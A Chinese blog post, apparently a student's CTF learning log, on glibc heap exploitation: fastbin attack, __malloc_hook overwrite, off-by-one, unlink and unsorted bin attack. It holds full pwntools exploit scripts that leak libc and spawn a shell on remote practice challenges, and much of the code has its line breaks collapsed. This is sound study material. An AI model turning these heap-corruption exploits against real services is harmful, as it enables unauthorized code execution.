原文:https://www.freebuf.com/articles/endpoint/371095.html

0x00 前言

根据某大佬所说,pwn之路分为栈,堆,和内核。当前,如果你看到这个文章,说明你已经达到一个正在前往pwn深处的分水岭。堆的魔力和魅力实际上远远大于栈,希望我的文章能够帮助到入门的同学们。请注意,如果一些东西看不太明白请参考多方文章并且结合实际来搞明白,这是最好的。

本文的目的希望是让大家不要太害怕堆(就像我当年那样),从而可以继续慢慢踏向pwn这条魅力之路的远方。

堆溢出和UAF

堆溢出(Heap Overflow)是指在程序执行过程中,向堆(Heap)区域写入超出其分配内存边界的数据,从而覆盖了相邻的内存空间。这可能导致程序崩溃、执行意外行为或者被攻击者利用。

而UAF是指释放后引用(Use-After-Free)漏洞,它是一种常见的内存安全问题。当程序释放了一个堆上的内存块,但后续仍然继续使用该已释放的内存块,就会产生UAF漏洞。攻击者可以利用UAF漏洞来执行恶意代码,读取敏感数据,控制程序的执行流程等。

当堆溢出和UAF漏洞同时存在时,攻击者可以通过利用堆溢出漏洞来修改或篡改已释放的内存块,进而改变UAF漏洞的利用条件或影响其后续的使用。这种组合攻击称为堆溢出的UAF(Heap Overflow Use-After-Free)。攻击者可以通过堆溢出来破坏程序的内存结构,并结合UAF漏洞来实现更复杂的攻击,例如执行任意代码、提升权限或者绕过安全保护机制等。

0x01 fastbin attack 1

fastbin就是在释放一个小于global_max_size的且不小于最小内存的chunk(就是一块堆内存)的时候,用来存放这块堆内存的bin(垃圾桶)他是单链表结构(大家都学过了吧!

动态内存堆通常由两个主要的部分组成:一个是堆的头部(Heap Header),用于记录堆的状态和元数据信息,另一个是堆的主体(Heap Body),用于存储分配出去的内存块和空闲内存块。

堆的主体通常是由一块或多块连续的虚拟内存区域组成,每个区域通常是由多个内存块(Block)组成,每个内存块包含一个头部和一个实际的数据部分。头部通常用于记录内存块的状态(已分配或空闲)、大小、指向下一个或上一个内存块的指针等信息。

是不是听起来不像人话哈哈,那直接看看代码吧!

struct BlockHeader {
size_t size; // 内存块的大小,包括头部信息和数据部分
struct BlockHeader* next; // 指向下一个内存块的指针
int is_free; // 标记内存块是否空闲
}; // 堆的主体信息
struct Heap {
struct BlockHeader* head; // 指向堆中第一个内存块的指针
size_t size; // 堆的大小,包括已分配和空闲的内存块
};

0x01 攻击的第一步:修改指针

当我们释放一个符合大小的内存堆A,A会被分到fastbin中。再释放一个符合大小的内存堆B,B也会被分到fastbin,此时B中存放的next指针就是A。如果再释放一次A,那么A的next就会指向B,两边就相互指了,达成修改next指针的目的。

我们也可以直接覆盖数据修改内存堆中存放的next指针。

修改指针有什么用呢?我们修改指针就可以在下次申请内存的时候申请到我们控制的内存!因为fastbin是这样用的,我们刚才释放了B,随后我们再申请相同大小的,我们就会得到B,然后再申请一次就会得到B指向的A。

所以,如果我们申请得到B,并且B中存放的next是C,那么再次申请就会得到C,随后可以修改C中的内容。

那么我们要修改哪里的内容呢?

这时我们需要了解一个为了安全而危险的函数——“malloc_hook”

0x02 攻击的第二步:hook u!

malloc_hook 函数是GNU C库(glibc)中的一个特殊函数,它可以被用来重写 malloc()、realloc()、free() 等内存管理函数的实现,从而对程序的内存分配和释放过程进行自定义的控制和监测。

通过设置 malloc_hook 函数指针,我们可以在程序调用 malloc()、realloc() 等函数时,先执行我们自定义的一些操作或者根据一些条件来决定是否执行标准的内存分配/释放操作,比如检测内存泄漏、记录内存分配/释放信息等等。同时,还可以将自定义的实现与标准的内存管理函数结合起来,实现更加灵活的内存管理策略。

在每次调用malloc和realloc,free之前,都会先调用malloc_hook,从而达到检测和自定义函数的目的。

typedef void *(*__malloc_hook)(size_t size, const void *caller);

那么一旦我们修改了malloc_hook函数指针,我们就可以在下次malloc或者realloc,free之类的时候执行到我们需要执行的地址(如调用system,gadget之类),至此漏洞利用完成。

(本人尚未实操,只学了理论,还有很多问题请读者批评指正,后续我会补充,在这里写下堆的学习历程。)

从写代码者(非攻击者)方面的一点补充

知己知彼,百战不殆。了解这个函数是做什么的,我们能更好地利用他。

malloc_hook 是一个函数指针,它可以被用于在程序调用标准的动态内存分配函数 _malloc()、calloc()、realloc()、valloc()、aligned_alloc() 和 memalign()_ 时,实现自定义的内存分配策略。

当程序调用上述任何一个动态内存分配函数时,系统会首先检查是否定义了 malloc_hook 函数指针,如果定义了,则会调用该指针所指向的函数来进行内存分配。通过使用 malloc_hook 函数指针,程序可以实现动态内存分配的拦截和自定义,可以用于调试、内存泄漏检测、性能分析等应用场景。

malloc_hook 函数指针的类型定义如下:

typedef void *(*__malloc_hook)(size_t size, const void *caller);

其中,第一个参数 size 表示要分配的内存大小,第二个参数 caller 是调用动态内存分配函数的函数的返回地址。malloc_hook 函数指针所指向的函数必须返回一个指向分配到的内存块的指针,如果返回 NULL,则表示内存分配失败。

需要注意的是,使用 malloc_hook 函数指针需要非常小心,因为它可以覆盖程序中的标准动态内存分配函数,可能会导致系统崩溃或者内存泄漏等问题。建议仅在必要的情况下使用,并遵循相应的规范和最佳实践。

0x02 fastbin attack 2

babyheap_0ctf_2017,我的第一道堆,fastbin attack。随时欢迎交流。特别鸣谢孙学长和欧阳学长的指导。

参考文章:https://blog.csdn.net/mcmuyanga/article/details/112466134

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64') p = process('./heap')
p = remote('node4.buuoj.cn', 29639)
elf = ELF('./heap')
libc = ELF('./libc.so.6') n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r]) if args.G:
gdb.attach(p) def add(size):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size)) def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content) def free(idx):
sla(':','3')
sla(':',str(idx)) def dump(idx):
sla(':','4')
sla(':',str(idx)) add(0x10)#0
add(0x10)#1
add(0x80)#2 add(0x30)#3
add(0x68)#4
add(0x50)#5 edit(0,p64(0)*3+p64(0xb1))#修改堆这样才能泄露下一个堆的内容!
free(1)#释放他!让我得到更大的,一会输出!
add(0xa0)#得到了!程序现在知道了要输出0xa0!
edit(1,p64(0)*3+p64(0x91))#恢复chunk2信息!
free(2)#释放,你去吧!unsortedbin!带回来地址
dump(1)#得到地址!
base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))#是main_arena的地址,还有一点偏移!
base -= 0x3c4b78#这个偏移可以用gdb的disass *malloc_trim找到!第三十三行
libc.address = base
print(hex(base)) hook = libc.sym.__malloc_hook
#ini1 = libc.sym.memalign_hook_ini
#ini1 = libc.sym.realloc_hook_ini getshell = base+0x4526a#one_shot,来自onegadget!print(hex(hook))
free(4)#送去fastbin,准备攻击!
edit(3,p64(0)*7+p64(0x71)+p64(hook-0x23))#-0x23是为了申请堆时误导大小为0x7f通过认证!随后进行覆盖!
add(0x68)#2
add(0x68)#4
edit(4,b'\x00'*0x13+p64(getshell)) add(0x20) ia()
'''0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL





exp中注释相关

注意buuctf里面会给好libc

vis命令

0x03 泄露地址的各种姿势

house of orange 泄露libc

参考文章

https://www.cnblogs.com/ZIKH26/articles/16712469.html

不过当前只会泄露,还不知道怎么打捏

黑盾杯2023 leak

https://blog.csdn.net/weixin_52640415/article/details/130887930?spm=1001.2014.3001.5502

有待研究。

泄露libc地址的方式有很多种

1.house of orange(free unsorted后过度覆盖打印)

2.直接打印堆为got表

3.堆重叠(伪造fake chunk包括下一个堆,释放下一个堆然后打印,这个一般需要堆大于0x90)

参考:https://www.cnblogs.com/zhwer/p/13950309.html

4.double malloc(自己命名的),通过修改fastbin的fd,并且伪造fd的大小和fastbin一样,实际上是unsortedbin,然后再次申请这个堆块,得到两次引用这个地址从而泄露地址的机会。

  1. 0x06的unsorted bin attack

off-by-one 例题 hitcontraining_heapcreator

这是buu的pwn第二页最后一题,终于搞定了。

今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。

一开始不知道off-by-one

(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)

意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。

前面想打unsorted bin多了一些没用的东西。

我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。

卡了我一晚上,最后换了11的库patch上才好了。

from pwn import *
from evilblade import * context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25146)
evgdb() def add(size,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
sla(':',content) def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sa(':',content) def free(idx):
sla(':','4')
sla(':',str(idx)) def dump(idx):
sla(':','3')
sla(':',str(idx)) add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块使用时的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet()
addr = tet() addr = getx64(0,-1)
base = getbase(addr, 'write',0x2cd7c8) edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2) add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet()
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
dp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free') os = base+0xf1147
sys = symoff('system',base) edit(1,p64(sys)) free(0)
ia() '''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

off-by-one第二个例题 roarctf_2019_easy_pwn

from pwn import *
from evilblade import * context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27829) def add(size):
sla(':',str(1))
sla(':',str(size)) def edit(idx,size,content):
sla(':','2')
sla(':',str(idx))
sla(':',str(size))
sla(':',content) def free(idx):
sla(':','3')
sla(':',str(idx)) def dump(idx):
sla(':',b'4')
sla(':',str(idx))
#此题在获取size的函数中,当输入大于原始数值10时会返回原始数值+1
#故打off-by-one add(0x18)#0
add(0x88)#1,构造fakechunk,覆盖2
add(0x88)#2,预备unsorted
add(0x30)#5,防止和top chunk合并
#第一步先构造fake chunk泄露地址
#这里有一个难点,就是会有pre_size的校验
#所以要看一下来确认在哪里写pre_size
free(1)
#free,看一下到哪里写pre_size
#观察到在90下0x20写b0即可(加0x20),只需要打印到下一个堆块前八位,多打印一些也行
edit(0, 0x18+10,b'\x00'*0x18+b'\xb1')
edit(2, 0x18, p64(0xb0)*3) #因为是calloc申请时会置零,所以要先恢复chunk2信息。
#同理要确认一下恢复到哪里。
add(0xa8)
edit(1,0x10*8+0x10,b'\x00'*0x10*8+p64(0x91)*2)
#数出来是8*0x10+8,恢复
free(2)
#释放fake chunk获得地址,可以泄露
free(4)
dump(1)
addx = getx64(-28,-22)
hook = addx - 0x68
#symoff('_IO_2_1_stdin_')
base = getbase(addx,'_IO_2_1_stdin_',0x298)
os = base + 0x45216
#此时泄露得到基地址,但是还要劫持程序流才行
#因为开启了FULL RELRO,只能修改malloc hook了
#but,malloc_hook过时了,现在用freehook更好!(mallochook打不出来一点,oneshot不符合)
#然后发现freehook太难了,以后再说,一会调一下带源码为什么freehook-0x13不行
#网上说用realloc调节rsp
#原理是malloc_hook->realloc->realloc_hook
#走fastbin attack
add(0x68)
add(0x68)
#申请两个进入fastbin
free(4)
free(2)
#释放进入
dp('hook',hex(hook))
dp('os',os)
rea = symoff('realloc',base)
os = base+0x4526a
#首先修改realloc_hook,因为相邻所以两个一起改了 edit(1,0x10*8+0x10+8,b'\x00'*0x10*8+p64(0x71)*2+p64(hook-0x23))
add(0x68)
add(0x68)
edit(4,3+0x18,b'\x00'*3+p64(0)+p64(os)+p64(rea))
#realloc后正好rsp+0x30就是0,完成
#申请回来
evgdb('b *$rebase(0xccc)')
dp('new',base)
dp('hook-0x23',hook-0x23)
add(1)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL 0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL 0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL '''

0x04 Double-Free

这个玩意应该主要是用来进行地址泄露,非常好非常好。稍后会出一道例题。

0x05 Unlink

主要用来修改堆指针,方便实现任意内存写。

https://blog.csdn.net/mcmuyanga/article/details/112602827

#控制fd和bk
heaparray =
aim = heaparray
ptr = aim+0x10
fd = ptr-0x18
bk = ptr-0x10

0x06 Unsorted bin attack

说明

条件

1.可以控制unsorted bin的bk

2.知道要改哪里

效果

修改任意地址为main_arena的偏移地址(修改为大数)

原理

          /* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

从unsorted bin取chunk0的时候,会从主要块(av)的bk去取,取完之后,chunk0的bk就得排队过来了,下一个就得申请他(unsorted_chunks (av)->bk = bck;)。

这个时候,chunk0的bk假设为chunk x,他的fd自然就得改为av。( bck->fd = unsorted_chunks (av);)

那么如果控制了bk,就可以修改任意地址的内容为av了。

这就是这个代码的理解。

hitcontraining_magicheap

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64') p = process('./heap')
#p = remote('node4.buuoj.cn', 26148)
elf = ELF('./heap') n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r]) if args.G:
gdb.attach(p) def add(size,content):
sla(':',b'1')
sla(':',str(size))
sla(':',content) def edit(idx, content):
sla(':',b'2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content) def free(idx):
sla(':',b'3')
sla(':',str(idx)) add(0x10,b'a')
add(0x80,b'aaaa')
add(0x10,b'aaaa')
free(1)
edit(0,b'a'*8*2+p64(0)+p64(0x91)+p64(0)+p64(0x6020a0-0x10))
add(0x80,b'a')
#add(0x100,b'a')
sl(b'4869') ia()

.0x07 largebin attack

largebin attack参考

看看这个博客。

[PWN之路]堆攻击那些事儿的更多相关文章

  1. 【pwn】学pwn日记(堆结构学习)

    [pwn]学pwn日记(堆结构学习) 1.什么是堆? 堆是下图中绿色的部分,而它上面的橙色部分则是堆管理器 我们都知道栈的从高内存向低内存扩展的,而堆是相反的,它是由低内存向高内存扩展的 堆管理器的作 ...

  2. Eth合约攻击

    前言 Ethernaut是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题,由于关 ...

  3. 见微知著(二):解析ctf中的pwn--怎么利用double free

    这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的. 运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以 ...

  4. 最短路径算法——Dijkstra,Bellman-Ford,Floyd-Warshall,Johnson

    根据DSqiu的blog整理出来 :http://dsqiu.iteye.com/blog/1689163 PS:模板是自己写的,如有错误欢迎指出~ 本文内容框架: §1 Dijkstra算法 §2 ...

  5. 2018-2019 20165226 网络对抗 Exp1+ 逆向进阶

    2018-2019 20165226 网络对抗 Exp1+ 逆向进阶 目录 一.实验内容介绍 二.64位shellcode的编写及注入 三.ret2lib及rop的实践 四.问题与思考 一.实验内容介 ...

  6. P2P进入整顿期,平衡风险和收益之间的矛盾是关键

        毫无疑问,P2P网贷进入了其诞生以来最为关键的整顿期,随着大量提现困难.跑路的P2P平台被曝光之后.行业对P2P网贷的发展也多了几分慎重.少了几分浮躁.只是,P2P网贷所面临的问题正是其它不论 ...

  7. Hybrid框架UI重构之路:六、前端那点事儿(Javascript)

    上文回顾 :Hybird框架UI重构之路:五.前端那点事儿(HTML.CSS) 这里讲述在开发的过程中,一些JS的关键点. 换肤 对于终端的换肤,我之前一篇文章有说了我的想法. 请查看:http:// ...

  8. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  9. 堆Pwn:House Of Storm利用手法

    0x00:介绍 利用手法的背景: house of storm是一种结合了unsorted bin attack和Largebin attack的攻击技术,其基本原理和Largebin attack类 ...

  10. 使用最小堆来完成k路归并 6.5-8

    感谢:http://blog.csdn.net/mishifangxiangdefeng/article/details/7668486 声明:供自己学习之便而收集整理 题目:请给出一个时间为O(nl ...

随机推荐

  1. 2023-03-10:YUV420P像素数据编码为JPEG图片,请用go语言实现。

    2023-03-10:YUV420P像素数据编码为JPEG图片,请用go语言实现. 答案2023-03-10: 方法一.使用 github.com/moonfdd/ffmpeg-go 库,基于雷霄骅的 ...

  2. 2022-03-14:一开始屏幕上什么也没有,粘贴板里什么也没有, 你只能在键盘上做如下4种操作中的1种: 输入:在屏幕上已经显示内容的后面加一个A, 全选:把屏幕上已经显示的全部内容选中, 复制:被

    2022-03-14:一开始屏幕上什么也没有,粘贴板里什么也没有, 你只能在键盘上做如下4种操作中的1种: 输入:在屏幕上已经显示内容的后面加一个A, 全选:把屏幕上已经显示的全部内容选中, 复制:被 ...

  3. CreateProcess error=2, 系统找不到指定的文件。

    遇到一个android 配置.gradle时提示CreateProcess error=2, 系统找不到指定的文件 于是百度有很多这类答案,如:干掉NDK 我按照这么做了,最后顽固的bug 并没有理睬 ...

  4. 用token辅助 密码爆破

    第一步:打开皮卡丘,点击暴力破解,token防爆破,输入正确用户名,错误密码 BP拦截请求,点击皮卡丘Login,然后拦截后, 发送给Intruder 第二步: 爆破方式选择音叉方式,   & ...

  5. Vue3从入门到精通(一)

    Vue3简介 Vue3是Vue.js的最新版本,于2020年9月18日正式发布.Vue3相比Vue2有很多改进和优化,包括但不限于: 更快的渲染速度:Vue3通过使用Proxy代理对象和优化虚拟DOM ...

  6. 【技术积累】Python中的NumPy库【一】

    NumPy库是什么 NumPy是Python科学计算的核心库之一,用来进行科学计算,数值分析等矩阵运算.主要提供了以下几种功能: 1.多维数组(ndarray)对象,可以进行快速的数值计算和数组操作: ...

  7. 【LeetCode.384打乱数组】Knuth洗牌算法详解

    前两天看网易面筋得知网易云的随机歌曲播放使用了这个算法,遂找题来做做学习一下 打乱数组 https://leetcode.cn/problems/shuffle-an-array/ 给你一个整数数组 ...

  8. Neo4J 图库的集群部署与基础使用

    Ned4J 图库的集群部署与基础使用 部署机器 名称 配置 IP server1 8 核 16G 172.16.0.2 server2 8 核 16G 172.16.0.3 server3 8 核 1 ...

  9. 【AGC】云监控日志服务查询不到Logger日志相关问题2

    ​[关键字] AGC.云监控.日志服务 [问题描述] 之前有开发者反馈在使用AGC云监控,填写了Logger日志,但是在云监控的日志服务查不到的问题.具体如下所述: 云函数按要求写了Logger日志, ...

  10. ubuntu22.04下编译ffmpeg-6.0,并且激活x264编码功能。记录一下踩坑(ERROR: x264 not found using pkg-config)

    一.编译x264(在编译前确保安装了pkg-config,默认在/usr/share下) 1.下载x264源代码:(我下载到了~/Downloads下,各位随意就好) git clone https: ...